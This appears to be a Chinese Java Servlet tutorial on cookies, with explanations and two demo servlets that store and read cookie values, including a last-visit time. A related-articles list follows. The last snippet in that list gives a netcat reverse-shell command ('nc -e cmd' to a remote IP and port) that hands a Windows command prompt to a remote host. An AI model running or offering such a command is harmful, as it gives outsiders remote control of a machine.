1) 创建Cookie对象,
public Cookie(java.lang.String name,
java.lang.String value)
参数1:表示cookie名称
参数2:表示cookie名称对应的内容
2) 发送cookie数据(服务器发送cookie数据到浏览器中)
set-cookie:请求头: 携带内容(最基本的方式)
简写方式:服务器发送Cookie
void addCookie(Cookie cookie)
3) 服务器会携带cookie到浏览器(自发:浏览器自发的将cookie保存起来),方便下一次服务器传递数据
4) 服务器获取cookie数据
原理:获取的请求头:cookie名称获取内容(最基本的)
简写方式:
Cookie[] getCookies()

Cookie技术的一些细节:
1) 细节1:当前浏览器中发现中文cookie 数据,获取cooike名称对应的内容,需要进行解密(同时,对中文进行加密)
使用的是两个工具类:URLEncorder类和URLDecorder类
2) 细节2:设置cookie的有效时间
public void setMaxAge(int expiry) :
参数分为三种情况:
1) 如果参数为正整数,表示多少秒之后,cookie数据失效了(不存在了)
2) 如果参数是一个负整数,一般情况指定-1,关闭浏览器,cookie就不存在了
3) 如果参数是一个0,那么指定同名的cookie的名称,然后该cookie数据会被删除掉!
4) 细节3:cookie的有效路径
public void setPath(java.lang.String uri):当前cookie的数据是在有效路径下才会起作用,否则,获取不到cookie数据

一般情况:一个站点可以存储多少个cookie数据,不超过300个,可能用到20个作用

public class CookieDemo extends HttpServlet {
private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { //创建cookie对象
Cookie coo = new Cookie("name","Rong"); //中文格式
String name = URLEncoder.encode("蓉","utf-8");
Cookie coo2 = new Cookie("name", name); //设置有效路径
// coo.setPath("/Develop_Servlet_Cookie001");
// coo2.setPath("/Develop_Servlet_Cookie002");
//简写,发送到浏览器
// response.addCookie(coo);
response.addCookie(coo2); //-1:关闭浏览器就删除cookie。正整数:保存时间
coo.setMaxAge(-1);
coo2.setMaxAge(5); //获取cookie参数
Cookie[] cookies = request.getCookies();
if(cookies!=null){
for(Cookie cookie:cookies) {
String coo_name = cookie.getName();
String coo_value = cookie.getValue();
//解析获得的值
String coo_devalue = URLDecoder.decode(coo_value, "utf-8");
System.out.println("名:"+coo_name+"\t值:"+coo_devalue);
}
} } }

输出系统时间和上次登录时间:

public class TimeDemo extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { //创建系统时间,格式化时间
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String CurTime = sdf.format(new Date()); //获取cookie数据
Cookie[] cookies = request.getCookies(); //设立初始值
String LastTime = null;
//第一次访问
if(cookies==null && LastTime==null){ //输出系统时间
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("第一次系统时间:"+CurTime); //编码,创建cookie文件
String en_time = URLEncoder.encode(CurTime, "utf-8");
Cookie last_cook = new Cookie("lasttime", CurTime);
response.addCookie(last_cook); } //第二次之后访问,遍历输出数据
if(cookies!=null){
for(Cookie cookie:cookies){
//获取数值
LastTime = cookie.getValue();
//解码文件
String de_LTime = URLDecoder.decode(LastTime, "utf-8");
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("上次登录时间"+de_LTime+"<br/>系统时间:"+CurTime); //更新时间
CurTime = URLEncoder.encode(CurTime, "utf-8");
cookie.setValue(CurTime);
response.addCookie(cookie); }
} } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
} }

Cookie相关基础的更多相关文章

  1. JAVA相关基础知识

    JAVA相关基础知识 1.面向对象的特征有哪些方面 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面.抽象并不打算了解全部问题,而只是选择其中的一部分, ...

  2. iOS蓝牙开发(二)蓝牙相关基础知识

    原文链接: http://liuyanwei.jumppo.com/2015/07/17/ios-BLE-1.html iOS蓝牙开发(一)蓝牙相关基础知识: 蓝牙常见名称和缩写 MFI ====== ...

  3. Linux 相关基础笔记

    html,body { } .CodeMirror { height: auto } .CodeMirror-scroll { } .CodeMirror-lines { padding: 4px 0 ...

  4. linux设备驱动归纳总结(二):模块的相关基础概念【转】

    本文转载自:http://blog.chinaunix.net/uid-25014876-id-59415.html linux设备驱动归纳总结(二):模块的相关基础概念 系统平台:Ubuntu 10 ...

  5. linux设备驱动归纳总结(一)内核的相关基础概念【转】

    本文转载自:http://blog.chinaunix.net/uid-25014876-id-59413.html linux设备驱动归纳总结(一):内核的相关基础概念 xxxxxxxxxxxxxx ...

  6. selenium webdriver(6)---cookie相关操作

    介绍selenium操作cookie之前,先简单介绍一下cookie的基础知识 cookie cookie一般用来识别用户身份和记录用户状态,存储在客户端电脑上.IE的cookie文件路径(win7) ...

  7. 深入理解mysql之BDB系列(1)---BDB相关基础知识

        深入理解mysql之BDB系列(1) ---BDB相关基础知识 作者:杨万富   一:BDB体系结构 1.1.BDB体系结构 BDB总体的体系结构如图1.1所看到的,包括五个子系统(见图1.1 ...

  8. 【RAC】RAC相关基础知识

    [RAC]RAC相关基础知识 1.CRS简介    从Oracle 10G开始,oracle引进一套完整的集群管理解决方案—-Cluster-Ready Services,它包括集群连通性.消息和锁. ...

  9. NIO相关基础篇一

    转载请注明原创出处,谢谢! 说在前面 NIO相关知识是很多后续的一些基础知识,所以今天这篇文章仅仅是简单介绍,后续会继续有一到二篇相关NIO内容. 什么是NIO Java NIO( New IO) 是 ...

  10. NIO相关基础篇二

    转载请注明原创出处,谢谢! 上篇NIO相关基础篇一,主要介绍了一些基本的概念以及缓冲区(Buffer)和通道(Channel),本篇继续NIO相关话题内容,主要就是文件锁.以及比较关键的Selecto ...

随机推荐

  1. 道德与社会问题简报 #3: Hugging Face 上的道德开放性

    使命: 开放和优秀的机器学习 在我们的使命中,我们致力于推动机器学习 (ML) 的民主化,我们在研究如何支持 ML 社区工作并有助于检查危害和防止可能的危害发生.开放式的发展和科学可以分散力量,让许多 ...

  2. Qt+MySql开发笔记:Qt5.9.3的msvc2017x64版本编译MySql8.0.16版本驱动并Demo连接数据库测试

    前言   mysql驱动版本msvc2015x32版本调好, mysql的mingw32版本的驱动上一个版本编译并测试好,有些三方库最低支持vs2017,所以只能使用msvc2017x64,基于Qt5 ...

  3. ArcGIS Desktop发布地形高程服务(DEM/DSM)

    在做ArcGIS三维时,地形服务的发布与普通地图服务的发布不一样,需要发布成ImageServer,切片格式选择LERC. 本文示例使用软件: ArcGIS Desktop10.3.1 注:ArcGI ...

  4. .NET Core 离线生成 Tron 波场私钥和地址笔记

    NuGet 引入依赖库 PM> Install-Package Tron.Wallet.Net 随机生成私钥和对应的地址 using Tron.Wallet.Net; namespace Con ...

  5. 2021-10-07:将有序数组转换为二叉搜索树。给你一个整数数组 nums ,其中元素已经按 升序 排列,请你将其转换为一棵 高度平衡 二叉搜索树。高度平衡 二叉树是一棵满足「每个节点的左右两个子树

    2021-10-07:将有序数组转换为二叉搜索树.给你一个整数数组 nums ,其中元素已经按 升序 排列,请你将其转换为一棵 高度平衡 二叉搜索树.高度平衡 二叉树是一棵满足「每个节点的左右两个子树 ...

  6. 【.NET】C#/.NET新建项目sln,增加src和test文件夹问题和解决方案

    ​ 问题介绍 经常逛github找优秀的.NET项目看,看到github上的项目的层级有src test,sln放在外层.如下图: 发现自己再Visaul Studio新建的项目即使添加了src和te ...

  7. DP杂谈【持续更新中】

    什么是DP? 推荐看一下. 正文 滚动数组优化 在一些空间贼小,时间还好的 DP 题目里,会用到优化空间的小技♂巧--滚动数组优化. 滚动数组,顾名思义,一个会滚动的数组,主要是怎样个滚法呢?接下来我 ...

  8. linux 管理进程和计划任务

    目录 一.进程原理 二.进程工作过程 三.进程类型 四.管理进程 五.前后台调度 六.定时任务 七.管理定时任务 一.进程原理 进程:指正在运行的程序称之为进程 程序:指的是没有运行的代码 线程:真正 ...

  9. Vue 新建项目+基本语法

    新建项目: 导入依赖:    <script src="https://cdn.jsdelivr.net/npm/vue@2.5.21/dist/vue.min.js"> ...

  10. nc工具利用

    c: 瑞士军刀/网络测评工具    将本地的cmd 权限移交到外网 nc工具:应用    本地cmd打开, 输入  nc -e cmd 远程ip  5577  #连接到远程ip的5577 远程cmd打 ...